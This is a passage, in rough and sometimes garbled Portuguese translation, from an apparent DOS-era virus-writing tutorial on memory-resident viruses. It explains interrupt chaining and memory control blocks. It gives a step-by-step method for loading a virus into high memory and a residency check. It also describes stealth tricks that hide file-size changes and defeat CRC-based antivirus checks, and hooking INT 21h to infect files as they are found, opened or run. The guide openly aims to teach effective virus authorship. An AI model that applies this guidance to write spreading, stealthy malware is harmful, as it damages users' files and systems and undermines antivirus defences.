acrescentar existinte codigo, tem que ver, já tem um handler de
interrupcao presente?  Em segundo lugar, o programa deseja
preservar o funcionamento do handler de interrupcao antigo?  Por
exemplo, um programa que "captura"  a interrupção do tick do
relógio do BIOS podera definitivamente desejar preservar o antigo
handler de interrupcao.
Ignorando a presenca do velho handler de interrupcao pode levar a
disastrosos resultados, especialmente se programas residentes
carregados anteriormente capturaram essa interrupcao.
 
    Uma tecnica  usada em  muitos handlers de interrupcao eh chamada
"chaining."  Com chaining,  tanto o novo e o velho handler de
interrupcao são executados.  Há dois métodos primario para chaining:
preexecucao e posexecucao.  Com reexecucao,  o velho  handler de
interrupcao eh chamado antes do novo.  Isso eh realizado via uma
chamada pseudo-INT consistindo de um pushf seguido por uma
chamada longe ptr.  O novo handler de interrupcao passa o controle
quando o
velho termina.  Preexecucao chaining eh usada quando o novo handler
de interrupcao deseja para usar o resultados do antigo handler de
interrupcao em decidir a ação apropriada para pegar.  Posexecucao
chaining eh mais arrumado, simplesmente  consistindo de uma
instrucao jmp far ptr.  Esse metodo nao requer uma instrucao iret para
ser localizada no novo handler de interrupcao!  Quando o jmp eh
executado, o novo handler de interrupcao completou suas ações e o
controle eh
passado para o velho handler de interrupcao.   Esse metodo  eh usado
primariamente quando um programa deseja interceptar a chamada de
interrupcao antes do DOS ou BIOS para pegar um chance para
processar ele.
 
 
  UMA INTRODUÇÃO PARA A
  ALOCAÇÃO DE MEMÓRIA NO DOS
     Alocação de memória eh talvez um dos conceitos mais dificeiss,
certamente o mais dificil para implementar, no DOS.  O problema é
que não há muita documentacao a respeito tanto pela Microsoft
quanto pela IBM.  Infelizmente, conhecimento de gerenciar memória
no DOS é crucial em escrever vírus residente na memória.
 
    Quando um  programa pede ao DOS por mais memoria, o sistema
operacional esculpe um pedaço de memoria do um lugar que não
tenha memória alocada.  Embora esse conceito eh simples suficiente
para entender, é necessário ir fundo em ordem de ter suficiente
conhecimento para escrever vírus residente em memória efetivo.
DOS cria blocos de controle de memória controle blocos (MCBs)
para ajudar a si mesmo manter rastros desses pedacos de memoria.
MCBs sao pequenas areas de memoria que cada uma é devotada para
manter rastros de uma área particular da memória alocada.  Quando
um programa solicita memória, um paragrafo para o  MCB eh
alocado em adicao para a memoria requerida pelo programa.   O
MCB falha apenas em fronte da memoria que ele controla.
Visualmente,  um MCB e sua memoria parece assim:
 
  +-------------------------------------------------------+
  | MCB 1 | pedaço de memoria controlado pelo MCB 1 |
  +-------------------------------------------------------+
 
    Quando uma segunda secao de memoria eh requerida,  outro MCB
eh criado logo abaixo da última memória alocada.  Visualmente:
 
  +-----------------------------------------+
  | MCB 1 | Pedaço 1 | MCB 2 | Pedaço 2  |
  +-----------------------------------------+
 
    Em outro  palavras, os MCBs sao "empilhados" um em cima do
outro.  ocorre uma perda de espaço quando for desalocar MCB 1
antes de MCB 2, aparecendo buracos no desenvolvimento de
memória.  A estrutura para o MCB eh como segue:
 
  Offset    Tamanho   Significando
  ------    -------      ------------
  0           BYTE       'M' ou 'Z'
  1          WORD      Processo ID (PSP do dono do bloco)
  3          WORD      Tamanho em paragrafos
  5         3 BYTES    Reservados (Nao usado)
  8         8 BYTES    DOS 4+ usa esse.  Yay.
 
    Se o  byte em  offset 0 eh 'M', entao o MCB não é o fim da
corrente.  O 'Z' denota o fim do MCB corrente.  Pode ser mais do que
um MCB presente na memoria por vez e esse "aspecto" eh usado
pelos virus para ir residente na memória alta.  O word em offset 1 eh
normalmente igual ao PSP do dono do MCB.  Se ele eh  0, isso
significa que o bloco eh livre e eh disponivel para usar pelos
programas.  Um valor de 0008h nesse campo denota DOS como o
dono do bloco.  O valor em
offset 3 NAO inclui o paragrafo alocado para o  MCB.  Ele reflete o
valor passado para as funções de alocação do DOS.  Todos os campos
localizados depois do tamanho do bloco não tem utilidade e voce
pode ignorar eles.
 
    Quando um arquivo COM eh carregado, todas a memória
disponivel eh alocado para ele pelo DOS.  Quando um arquivo EXE
eh carregado, a quantidade de memoria especificada no cabeçalho do
arquivo EXE eh alocada.   Tem tanto um valor minimo e um maximo
no cabecalho.  Geralmente, o linkador ira mudar o maximo valor para
FFFFh.  Se o programa deseja alocar memoria, ele deve primeiro
encolher o principal  pedaço de memoria pertencente pelo  programa
para o minimo requerido. De outro modo, a tentativa patético de
alocação de memoria ira falhar miseravelmente.
 
    Uma vez que programas normalmente não supostos para manipular
MCBs diretamente, o controlador da memória do DOS chama  (48h -
4Ah) para retornar e aceitar valores do primeiro paragrafo de
memória usável do programa,  ou seja,  o paragrafo de memoria
imediatamente depois do MCB.  É importante manter isso em  mente
quando escrever código manipulador de MCB.
 
 
  MÉTODOS DE FICAR RESIDENTE
    Tem uma variedade de estratégias sobre residência em memoria.  A
primeira eh o uso das rotinas TSR em interrupção do DOS
tradicional,  tanto INT 27h ou INT 21h/Funcao 31h.  Essas rotinas
sao indesejaveis quando escrever virus, porque eles nao retornam o
controle para o programa depois da execucao.  Adicionalmente, eles
aparecem como "andarilhos na memória" em programas como PMAP
e MAPMEM.
 
    A alternativa viral tradicional para usar a interrupção do DOS eh, é
claro, escrever uma nova rotina de residencia.  Quase todo vírus
moderno usa uma rotina para "carregar na memória alta," ou seja,
para carrega si mesmo dentro da maior localização de memória
possivel.  Por exemplo, em um sistema com 640K, o virus podera
carregar a si mesmo apenas dentro dos 640K mas acima da area
reservada pelos DOS para uso dos programas.   Embora isso é
tecnicamente nao a área mais
alta na memoria, ele deve ser referido como tal em um remanescente
de esse arquivo em ordem de acrescentar confusao e caos geral dentro
de outros arquivos.  Carregar na memória alta pode ser facilmente
realizado atraves de uma serie de chamadas de interrupcoes através de
realocacao e alocacao.  O método geral eh:
 
  1.   Encontrar o tamanho da memória
  2.   Encolher a memória do programa para o total de memoria -
tamanho do virus
  3.   Alocar memoria para o virus (esse ira ser na área de memoria
alta)
  4.   Mudar o MCB do programa para o fim da corrente (Marque ele
com 'Z')
  5.   Copiar o virus para a memória alta
  6.   Salve os vetores de interrupcao antigo se o virus deseja
acorrentar vetores
  7.   Mudar os vetores de interrupcao para a localização apropriada na
memória alta
 
    Quando calcular tamanhos de memoria, lembre que todos os
tamanhos estao em paragrafos. O MCB deve tambem ser considerado,
como ele pega mais de um paragrafo de memoria.  A vantagem desse
metodo eh que ele não faz, como um regra, aparecer como um
andarilho de memória. Entretanto, o total de memória do sistema
mostrado por alguns programas como MEM irá decrementar.
    Uma terceira alternativa eh nao alocar tudo.  Alguns virus copia a
si mesmo para a memoria dentro dos 640K, mas falha para alocar a
memoria.  Isso pode ter conseqüências desastrosas, como qualquer
programa carregado pelos DOS pode possivelmente usar essa
memoria.  Se isso esta corrompido, resultados imprevisiveis podem
ocorrer.  Embora nenhuma perda de memória eh mostrada pelo
MEM,  o possivel caos resultante desse metodo eh claramente nao
aceitavel.  Alguns virus
usam memoria livre.  Por exemplo, a parte superior da tabela de
interrupcao ou partes e memória de video tudos pode ser usado com
alguma seguranca que a memoria não irá ser corrompido.  Uma vez
de novo, essa tecnica eh tanto indesejavel como é extremamente
instavel.
 
    Este tecnicas não sao os únicos metodos de residencia. Eu tenho
visto alguns metodos bizarrosde ficar residente nos buffers de disco
internos do  DOS.  Onde ha memoria, ha um modo.
 
    É muito desejavel saber se o virus já é residente.  O modo mais
simples de fazer isso eh escrever função de checagem funcao no
código do handler da interrupção.  Por exemplo, uma chamada para a
interrupcao 21h com o registrador ax em 7823h pode retornar um
valor 4323h em ax,  significando residencia.  Quando usar esse
checagem,  é importante garantir que nao tenha possíveis conflitos
com os outros programas ou com o próprio DOS.
 
 
  POR QUE RESIDENTE?
    Vírus residente em memoria tem muitos vantagens distinguiveis
sobre virus runtime.
    Tamanho
       Virus residente em memória sao muitas vezes menores do que os
vírus runtime uma vez que  eles nao precisam incluir codigo para
procurar por arquivos para infectar.
    Efetividade
       Eles sao muitas vezes mais virulentos, uma vez que ate o
comando DIR "infectado."  Geralmente, a tecnica padrao eh cada
arquivo que é executado enquanto o virus está residente.
    Velocidade
       Vírus runtime infectam antes de um arquivo ser executado.  Um
virus pobre ou um grande vírus runtime irá causar um noticiavel
tempo de espera antes da execucao facilmente observado pelos
usuarios.   Adicionalmente,  isso causa uma grande atividade no disco
que é detrimental para a espalhação do virus.
    Camuflagem
       O manipulacao  de  interrupcoes  permite  por  o  implementacao
de  camuflagem tecnicas,  tal como  o escondendo de mudancas em
arquivo tamanho em diretorio listagens e em-o-voo desinfeccao.
Assim eh maisdifícil para o usuário médio  detectar o virus.
Adicionalmente, o vírus astuto  pode ate se esconder da checagem de
CRC, obliterando assim, as técnicas de detecção de anti-virus.
 
 
  ESTRUTURA DO VÍRUS RESIDENTE
    Com a informação preliminar fora do caminho,  a discussao pode
agora passar para mais virus-relacionado, certamente  com mais
tópicos interessantes.  A estrutura do vírus residente em memoria eh
radicalmente diferente do que do vírus runtime.  Isso simplesmente
consiste de um curto pedaço de programa usado para determinar se o
virus ja é residente.  Se ele ainda não está na memoria, o código
carrega ele na memoria atraves de qualquer metodo.  Finalmente, o
pedaço de código restaura o controle para o programa servidor.  O
resto do codigo do vírus residente consiste de handlers de interrupcao
onde o resto do trabalho eh feito.
 
    O pedaço de código eh apenas a porção do virus que precisa ter os
calculos do offset delta. O handler da interrupcao idealmente ira
existir em um localizacao que não ira requerer tais fixações
mundanas.  Uma vez carregado, não deve mais haver uso do offset
delta, como a localização das variaveis eh preset.  Desde que o código
do vírus residente virus deve originar
em offset 0 do bloco de memória, o código original deve estar no
offset 0.  Não inclua um jmp para o código virus no carregador
original do arquivo.  Quando mover o virus para a memoria,
simplesmente mova o inicio para [bp+startvirus]  e os offsets devem
trabalhar fora quando ele estão no arquivo fonte.  Isso simplifica (e
encurta) o codigo do handler da interrupcao.
 
    Muitos coisas devem ser consideradas em escrever os handlers da
interrupcao para um virus.  Primeiro, o  virus deve preservar os
registradores.  Se o virus usa preexecucao chaining, ele deve salvar os
registradores depois de chamar o handler original.  Se o virus usa
posexecucao chaining, ele deve restaurar os registradores originais da
chamada de interrupcao antes do call para o handler original.
Segundo, isso eh mais dificil, embora nao impossivel, para
implementar a encriptacao com vírus residente em memória.  O
problema é que se o handler da interrupcao eh encriptado, então esse
handler da interrupcao controlador não pode ser chamado antes da
função de decriptacao.  Isso pode ser um grande desgosto para a
pessoa.  O modo mais fácil é simplesmente  nao incluir encriptacao.
Eu prefero modo facil.   Os leitores que preferem o modo não-fácil
podem  desejar  que a memoria simultaneamente mantenha duas
copias do virus, encriptar a cópia cópia não usada, e usa a cópia
encriptada como o buffer de escrita. É claro, o vírus pode então pegar
duas vezes a quantidade de memoria que ele pode requerer
normalmente.  O uso de encriptacao eh um problema de escolha
pessoal e facilidade.
 
     Outro fator importante para considerar quando escrever handlers
de interrupcao, especialmente aqueles de interrupções de BIOS, eh um
pedaço do DOS com reentrancia.  Isso significa que funções DOS
funcoes nao podem ser executadas enquanto DOS está no meio do
processamento de um requerimento de interrupcao.  Isso acontece
porque DOS configura sobre o mesmo apontador de pilha cada vez
que ele eh chamado, e chamando a segunda interrupção DOS que ira
causar o
processamento de um código para sobreescrever a pilha do outro,
causando resultados inprevisíveis, mas muitas vezes terminal.  Isso
aplica-se indiferente de que interrupções do DOS sao chamadas, mas
isso eh especialmente verdadeiro para a interrupcao 21h, desde que
ele tente muitas vezes para usar ele de dentro de um handler de
interrupcao. A menos que ele esteja certo que o DOS não está
processando um requerimento anterior, NÃO faça uso de uma função
do DOS no handler da interrupcao.  Isso eh possivel para usar as
"mais baixas" funções da interrupcao 21h sem  medo de corromper a
pilha, mas eles sao basicamente sem utilidade, realizar funcoes
facilmente  acessado pela chamada da BIOS chama ou acesso direto
do hardware.  Essa discussão inteira apenas aplica para capturar
interrupções nao-DOS.  Ao capturar interrupções do DOS vem a
seguranca que DOS não está executando em qualquer outro lugar,
uma vez que isso podera entao estar corrompendo sua própria pilha,
que podera ser a ocorrência mais infeliz de fato.
 
     A interrupção mais comum para capturar eh, naturalmente, a
interrupcao 21h.  A Interrupcao 21h eh chamada por todo programa
DOS.  A estratégia usual eh por um virus para encontrar potenciais
arquivos para infectar ao interceptar certas chamadas DOS. As
funções primárias para capturar incluem o find first, find next, aberto,
e comandos de executar.
Ao usar pre e  posexecucao chaining,  um virus pode facilmente
encontrar o arquivo que foi encontrado, aberto, ou executado e
infectar ele.  Os truque é simplesmente encontra o método apropriado
para isolar o nome do arquivo.  Uma vez que isso é feito, o resto é
essencial idêntico para o vírus runtime.
 
    Quando chamar interrupcoes capturadas pelo código de
interrupção, tenha certeza que o virus não capture esse call em
particular,  para que nao resulte em um infinito loop.  Por exemplo,
se a função de executar funcao eh capturada e o virus  deseja, por
alguma razao, executar um particular arquivo usando essa funcao, ele
NÃO deve usar um  simples "int  21h" para fazer o trabalho.  Em
casos tais como esse onde o problema não pode ser evitado,
simplesmente simule a chamada para a interrupcao com uma
combinação de pushf/call.
 
    A estrutura básica do handler da interrupcao eh completamente
simples.  O controlador primeiro mostra os registradores para cada
chamada de identificacao ou para um função capturada funcao tal
como executar.  Se ele não for um dos mostrado acima, o handler irá
jogar o controle de volta para o handler original da interrupcao.  Se
isso eh um requerimento de identificacao, o handler simplesmente
configura os registradores apropriados e retorna  para o programa que
chamou.  De outro forma, o virus deve decidir se as chamadas de
requerimento é para pre ou posexecucao chaining.  Indiferente de qual
ele usa,  o virus deve encontrar o nome do arquivo e usar esse
informacao para infectar.  O nome do arquivo pode ser encontrado
tanto atraves do uso de registradores como ponteiros ou procurando
atraves de certas estrutura de dados, tal como FCBs.  A rotina
infecção eh a mesma como aquela para vírus nao residentes, com a
excecao daquilo mostrado nos parágrafos anteriores.
 
 
  O QUE ESTÁ POR VIR?
    Eu apologiso por algumas sentenças criticas usadas no guia, mas
eu sou um programador, nao um escritor.  Minha única sugestao eh
para ler tudo sobre o assunto ate ele fazer sentido.  Eu decidi fazer
essa edicao do guia com teoria antes do codigo.  Na proxima parte, eu
irei apresentar todo o codigo necessario para escrever um vírus
residente em memoria, ao longo de algumas tecnicas que podem ser
usadas.  Mais toda a informacao necessaria para escrever um vírus
residente irá ser incluida nessa edição; é apenas um problema de
implementação.  Tenha bytes de diversão!

voltar